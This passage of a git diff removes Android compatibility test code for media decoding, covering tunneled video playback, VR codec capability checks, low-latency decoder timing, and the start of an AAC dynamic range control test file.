-     * Test tunneled video playback flush with HEVC if supported
-     */
-    public void testTunneledVideoFlushHevc() throws Exception {
-        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled video playback flush with AVC if supported
-     */
-    public void testTunneledVideoFlushAvc() throws Exception {
-        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled video playback flush with VP9 if supported
-     */
-    public void testTunneledVideoFlushVp9() throws Exception {
-        testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test tunneled video peek is on by default if supported
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
-
-        // Assert that onFirstTunnelFrameReady is called
-        mMediaCodecPlayer.queueOneVideoFrame();
-        final int waitTimeMs = 150;
-        Thread.sleep(waitTimeMs);
-        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
-                        waitTimeMs),
-                mMediaCodecPlayer.isFirstTunnelFrameReady());
-        // Assert that video peek is enabled and working
-        assertTrue(String.format("First frame not rendered within %d milliseconds", waitTimeMs),
-                mMediaCodecPlayer.getCurrentPosition() != 0);
-
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test default tunneled video peek with HEVC if supported
-     */
-    public void testTunneledVideoPeekDefaultHevc() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test default tunneled video peek with AVC if supported
-     */
-    public void testTunneledVideoPeekDefaultAvc() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test default tunneled video peek with VP9 if supported
-     */
-    public void testTunneledVideoPeekDefaultVp9() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-
-    /**
-     * Test tunneled video peek can be turned off then on.
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
-
-        // Assert that onFirstTunnelFrameReady is called
-        mMediaCodecPlayer.queueOneVideoFrame();
-        final int waitTimeMsStep1 = 150;
-        Thread.sleep(waitTimeMsStep1);
-        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
-                        waitTimeMsStep1),
-                mMediaCodecPlayer.isFirstTunnelFrameReady());
-        // Assert that video peek is disabled
-        assertEquals("First frame rendered while peek disabled",
-                mMediaCodecPlayer.getCurrentPosition(), 0);
-        mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek
-        final int waitTimeMsStep2 = 150;
-        Thread.sleep(waitTimeMsStep2);
-        // Assert that video peek is enabled
-        assertTrue(String.format(
-                        "First frame not rendered within %d milliseconds while peek enabled",
-                        waitTimeMsStep2),
-                mMediaCodecPlayer.getCurrentPosition() != 0);
-
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with HEVC if supported
-     */
-    public void testTunneledVideoPeekOffHevc() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with AVC if supported
-     */
-    public void testTunneledVideoPeekOffAvc() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with VP9 if supported
-     */
-    public void testTunneledVideoPeekOffVp9() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush.
-     *
-     * On some devices, queuing content when the player is paused, then triggering a flush, then
-     * queuing more content does not behave as expected. The queued content gets lost and the flush
-     * is really only applied once playback has resumed.
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
-            throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // start video playback
-        mMediaCodecPlayer.startThread();
-        Thread.sleep(100);
-        assertTrue("Video playback stalled", mMediaCodecPlayer.getCurrentPosition() != 0);
-        mMediaCodecPlayer.pause();
-        Thread.sleep(50);
-        assertTrue("Video is ahead of audio", mMediaCodecPlayer.getCurrentPosition() <=
-                mMediaCodecPlayer.getAudioTrackPositionUs());
-        mMediaCodecPlayer.videoFlush();
-        Thread.sleep(50);
-        assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getCurrentPosition(), 0);
-        // We queue one frame, but expect it not to be rendered
-        Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
-        assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
-        Thread.sleep(50); // longer wait to account for buffer manipulation
-        assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getCurrentPosition(), 0);
-        mMediaCodecPlayer.resume();
-        Thread.sleep(100);
-        ArrayList<Long> renderedVideoTimestamps =
-                mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
-        assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty());
-        assertEquals("First rendered video frame does not match first queued video frame",
-                renderedVideoTimestamps.get(0), queuedVideoTimestamp);
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
-     */
-    public void testTunneledAccurateVideoFlushHevc() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with AVC if supported
-     */
-    public void testTunneledAccurateVideoFlushAvc() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
-     */
-    public void testTunneledAccurateVideoFlushVp9() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with HEVC if supported
-     */
-    public void testTunneledAudioTimestampProgressHevc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with AVC if supported
-     */
-    public void testTunneledAudioTimestampProgressAvc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with VP9 if supported
-     */
-    public void testTunneledAudioTimestampProgressVp9() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test that AudioTrack timestamps don't advance after pause.
-     */
-    private void
-    testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
-    {
-        if (!isVideoFeatureSupported(mimeType,
-                CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType);
-            return;
-        }
-
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // starts video playback
-        mMediaCodecPlayer.startThread();
-
-        sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > 0, Duration.ofSeconds(1));
-        final int firstPosition = mMediaCodecPlayer.getCurrentPosition();
-        assertTrue(
-                "On frame rendered not called after playback start!",
-                firstPosition > 0);
-        AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp();
-        assertTrue("Timestamp is null!", firstTimestamp != null);
-
-        // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness
-        // and still test basic functionality.
-        final int sleepTimeMs = 180;
-        Thread.sleep(sleepTimeMs);
-        mMediaCodecPlayer.pause();
-        // pause might take some time to ramp volume down.
-        Thread.sleep(sleepTimeMs);
-        AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp();
-        // Verify the video has advanced beyond the first position.
-        assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition);
-        // Verify that the timestamp has advanced beyond the first timestamp.
-        assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime);
-
-        Thread.sleep(sleepTimeMs);
-        // Verify that the timestamp does not advance after pause.
-        assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
-    }
-
-    private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
-        final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis();
-        do {
-            Thread.sleep(50);
-        } while (!supplier.get() && System.currentTimeMillis() < deadLineMs);
-    }
-
-    /**
-     * Returns list of CodecCapabilities advertising support for the given MIME type.
-     */
-    private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
-        int numCodecs = MediaCodecList.getCodecCount();
-        List<CodecCapabilities> caps = new ArrayList<CodecCapabilities>();
-        for (int i = 0; i < numCodecs; i++) {
-            MediaCodecInfo codecInfo = MediaCodecList.getCodecInfoAt(i);
-            if (codecInfo.isAlias()) {
-                continue;
-            }
-            if (codecInfo.isEncoder()) {
-                continue;
-            }
-
-            String[] types = codecInfo.getSupportedTypes();
-            for (int j = 0; j < types.length; j++) {
-                if (types[j].equalsIgnoreCase(mimeType)) {
-                    caps.add(codecInfo.getCapabilitiesForType(mimeType));
-                }
-            }
-        }
-        return caps;
-    }
-
-    /**
-     * Returns true if there exists a codec supporting the given MIME type that meets the
-     * minimum specification for VR high performance requirements.
-     *
-     * The requirements are as follows:
-     *   - At least 243000 blocks per second (where blocks are defined as 16x16 -- note this
-     *   is equivalent to 1920x1080@30fps)
-     *   - Feature adaptive-playback present
-     */
-    private static boolean doesMimeTypeHaveMinimumSpecVrReadyCodec(String mimeType) {
-        List<CodecCapabilities> caps = getCodecCapabilitiesForMimeType(mimeType);
-        for (CodecCapabilities c : caps) {
-            if (!c.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback)) {
-                continue;
-            }
-
-            if (!c.getVideoCapabilities().areSizeAndRateSupported(1920, 1080, 30.0)) {
-                continue;
-            }
-
-            return true;
-        }
-
-        return false;
-    }
-
-    /**
-     * Returns true if there exists a codec supporting the given MIME type that meets VR high
-     * performance requirements.
-     *
-     * The requirements are as follows:
-     *   - At least 972000 blocks per second (where blocks are defined as 16x16 -- note this
-     *   is equivalent to 3840x2160@30fps)
-     *   - At least 4 concurrent instances
-     *   - Feature adaptive-playback present
-     */
-    private static boolean doesMimeTypeHaveVrReadyCodec(String mimeType) {
-        List<CodecCapabilities> caps = getCodecCapabilitiesForMimeType(mimeType);
-        for (CodecCapabilities c : caps) {
-            if (c.getMaxSupportedInstances() < 4) {
-                continue;
-            }
-
-            if (!c.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback)) {
-                continue;
-            }
-
-            if (!c.getVideoCapabilities().areSizeAndRateSupported(3840, 2160, 30.0)) {
-                continue;
-            }
-
-            return true;
-        }
-
-        return false;
-    }
-
-    public void testVrHighPerformanceH264() throws Exception {
-        if (!supportsVrHighPerformance()) {
-            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
-            return;
-        }
-
-        boolean h264IsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_AVC);
-        assertTrue("Did not find a VR ready H.264 decoder", h264IsReady);
-    }
-
-    public void testVrHighPerformanceHEVC() throws Exception {
-        if (!supportsVrHighPerformance()) {
-            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
-            return;
-        }
-
-        // Test minimum mandatory requirements.
-        assertTrue(doesMimeTypeHaveMinimumSpecVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_HEVC));
-
-        boolean hevcIsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_HEVC);
-        if (!hevcIsReady) {
-            Log.d(TAG, "HEVC isn't required to be VR ready");
-            return;
-        }
-    }
-
-    public void testVrHighPerformanceVP9() throws Exception {
-        if (!supportsVrHighPerformance()) {
-            MediaUtils.skipTest(TAG, "FEATURE_VR_MODE_HIGH_PERFORMANCE not present");
-            return;
-        }
-
-        // Test minimum mandatory requirements.
-        assertTrue(doesMimeTypeHaveMinimumSpecVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_VP9));
-
-        boolean vp9IsReady = doesMimeTypeHaveVrReadyCodec(MediaFormat.MIMETYPE_VIDEO_VP9);
-        if (!vp9IsReady) {
-            Log.d(TAG, "VP9 isn't required to be VR ready");
-            return;
-        }
-    }
-
-    private boolean supportsVrHighPerformance() {
-        PackageManager pm = mContext.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
-    }
-
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
-    public void testLowLatencyVp9At1280x720() throws Exception {
-        testLowLatencyVideo(
-                "video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 300,
-                false /* useNdk */);
-        testLowLatencyVideo(
-                "video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 300,
-                true /* useNdk */);
-    }
-
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
-    public void testLowLatencyVp9At1920x1080() throws Exception {
-        testLowLatencyVideo(
-                "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm", 300,
-                false /* useNdk */);
-        testLowLatencyVideo(
-                "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm", 300,
-                true /* useNdk */);
-    }
-
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
-    public void testLowLatencyVp9At3840x2160() throws Exception {
-        testLowLatencyVideo(
-                "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm", 300,
-                false /* useNdk */);
-        testLowLatencyVideo(
-                "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm", 300,
-                true /* useNdk */);
-    }
-
-    @NonMediaMainlineTest
-    public void testLowLatencyAVCAt1280x720() throws Exception {
-        testLowLatencyVideo(
-                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 300,
-                false /* useNdk */);
-        testLowLatencyVideo(
-                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 300,
-                true /* useNdk */);
-    }
-
-    @NonMediaMainlineTest
-    public void testLowLatencyHEVCAt480x360() throws Exception {
-        testLowLatencyVideo(
-                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300,
-                false /* useNdk */);
-        testLowLatencyVideo(
-                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300,
-                true /* useNdk */);
-    }
-
-    private void testLowLatencyVideo(String testVideo, int frameCount, boolean useNdk)
-            throws Exception {
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(testVideo);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        fd.close();
-
-        MediaFormat format = null;
-        int trackIndex = -1;
-        for (int i = 0; i < extractor.getTrackCount(); i++) {
-            format = extractor.getTrackFormat(i);
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                trackIndex = i;
-                break;
-            }
-        }
-
-        assertTrue("No video track was found", trackIndex >= 0);
-
-        extractor.selectTrack(trackIndex);
-        format.setFeatureEnabled(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency,
-                true /* enable */);
-
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        String decoderName = mcl.findDecoderForFormat(format);
-        if (decoderName == null) {
-            MediaUtils.skipTest("no low latency decoder for " + format);
-            return;
-        }
-        String entry = (useNdk ? "NDK" : "SDK");
-        Log.v(TAG, "found " + entry + " decoder " + decoderName + " for format: " + format);
-
-        Surface surface = getActivity().getSurfaceHolder().getSurface();
-        MediaCodecWrapper decoder = null;
-        if (useNdk) {
-            decoder = new NdkMediaCodec(decoderName);
-        } else {
-            decoder = new SdkMediaCodec(MediaCodec.createByCodecName(decoderName));
-        }
-        format.removeFeature(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency);
-        format.setInteger(MediaFormat.KEY_LOW_LATENCY, 1);
-        decoder.configure(format, 0 /* flags */, surface);
-        decoder.start();
-
-        if (!useNdk) {
-            decoder.getInputBuffers();
-        }
-        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
-        String decoderOutputFormatString = null;
-
-        // start decoding
-        final long kTimeOutUs = 1000000;  // 1 second
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int bufferCounter = 0;
-        long[] latencyMs = new long[frameCount];
-        boolean waitingForOutput = false;
-        long startTimeMs = System.currentTimeMillis();
-        while (bufferCounter < frameCount) {
-            if (!waitingForOutput) {
-                int inputBufferId = decoder.dequeueInputBuffer(kTimeOutUs);
-                if (inputBufferId < 0) {
-                    Log.v(TAG, "no input buffer");
-                    break;
-                }
-
-                ByteBuffer dstBuf = decoder.getInputBuffer(inputBufferId);
-
-                int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
-                long presentationTimeUs = 0;
-                if (sampleSize < 0) {
-                    Log.v(TAG, "had input EOS, early termination at frame " + bufferCounter);
-                    break;
-                } else {
-                    presentationTimeUs = extractor.getSampleTime();
-                }
-
-                startTimeMs = System.currentTimeMillis();
-                decoder.queueInputBuffer(
-                        inputBufferId,
-                        0 /* offset */,
-                        sampleSize,
-                        presentationTimeUs,
-                        0 /* flags */);
-
-                extractor.advance();
-                waitingForOutput = true;
-            }
-
-            int outputBufferId = decoder.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (outputBufferId >= 0) {
-                waitingForOutput = false;
-                //Log.d(TAG, "got output, size " + info.size + ", time " + info.presentationTimeUs);
-                latencyMs[bufferCounter++] = System.currentTimeMillis() - startTimeMs;
-                // TODO: render the frame and find the rendering time to calculate the total delay
-                decoder.releaseOutputBuffer(outputBufferId, false /* render */);
-            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = decoder.getOutputBuffers();
-                Log.d(TAG, "output buffers have changed.");
-            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                decoderOutputFormatString = decoder.getOutputFormatString();
-                Log.d(TAG, "output format has changed to " + decoderOutputFormatString);
-            } else {
-                fail("No output buffer returned without frame delay, status " + outputBufferId);
-            }
-        }
-
-        assertTrue("No INFO_OUTPUT_FORMAT_CHANGED from decoder", decoderOutputFormatString != null);
-
-        long latencyMean = 0;
-        long latencyMax = 0;
-        int maxIndex = 0;
-        for (int i = 0; i < bufferCounter; ++i) {
-            latencyMean += latencyMs[i];
-            if (latencyMs[i] > latencyMax) {
-                latencyMax = latencyMs[i];
-                maxIndex = i;
-            }
-        }
-        if (bufferCounter > 0) {
-            latencyMean /= bufferCounter;
-        }
-        Log.d(TAG, entry + " latency average " + latencyMean + " ms, max " + latencyMax +
-                " ms at frame " + maxIndex);
-
-        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_latency");
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        int width = format.getInteger(MediaFormat.KEY_WIDTH);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-        log.addValue("codec_name", decoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("video_res", testVideo, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("decode_to", surface == null ? "buffer" : "surface",
-                ResultType.NEUTRAL, ResultUnit.NONE);
-
-        log.addValue("average_latency", latencyMean, ResultType.LOWER_BETTER, ResultUnit.MS);
-        log.addValue("max_latency", latencyMax, ResultType.LOWER_BETTER, ResultUnit.MS);
-
-        log.submit(getInstrumentation());
-
-        decoder.stop();
-        decoder.release();
-        extractor.release();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
deleted file mode 100755
index e33505a..0000000
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ /dev/null
@@ -1,763 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.cts.DecoderTest.AudioParameter;
-import android.media.cts.R;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.os.Bundle;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-@AppModeFull(reason = "DecoderTest is non-instant")
-public class DecoderTestAacDrc {
-    private static final String TAG = "DecoderTestAacDrc";
-
-    private static final boolean sIsAndroidRAndAbove =
-            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-
-    private Resources mResources;
-
-    @Before
-    public void setUp() throws Exception {
-        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
-        assertNotNull(inst);
-        mResources = inst.getContext().getResources();
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC with output level normalization to -23dBFS.
-     */
-    @Test
-    public void testDecodeAacDrcLevelM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        // full boost, full cut, target ref level: -23dBFS, heavy compression: no
-        DrcParams drcParams = new DrcParams(127, 127, 92, 0);
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drclevel_mp4,
-                -1, null, drcParams, null /*decoderName: use default decoder*/);
-        DecoderTest decTester = new DecoderTest();
-        decTester.checkEnergy(decSamples, decParams, 2, 0.70f);
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
-     * Fully apply light compression DRC (default settings).
-     */
-    @Test
-    public void testDecodeAacDrcFullM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcfull_mp4,
-                -1, null, null, null /*decoderName: use default decoder*/);
-        DecoderTest decTester = new DecoderTest();
-        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
-     * Apply only half of the light compression DRC and normalize to -20dBFS output level.
-     */
-    @Test
-    public void testDecodeAacDrcHalfM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        // half boost, half cut, target ref level: -20dBFS, heavy compression: no
-        DrcParams drcParams = new DrcParams(63, 63, 80, 0);
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drchalf_mp4,
-                -1, null, drcParams, null /*decoderName: use default decoder*/);
-        DecoderTest decTester = new DecoderTest();
-        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
-     * Disable light compression DRC to test if MediaFormat keys reach the decoder.
-     */
-    @Test
-    public void testDecodeAacDrcOffM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        // no boost, no cut, target ref level: -16dBFS, heavy compression: no
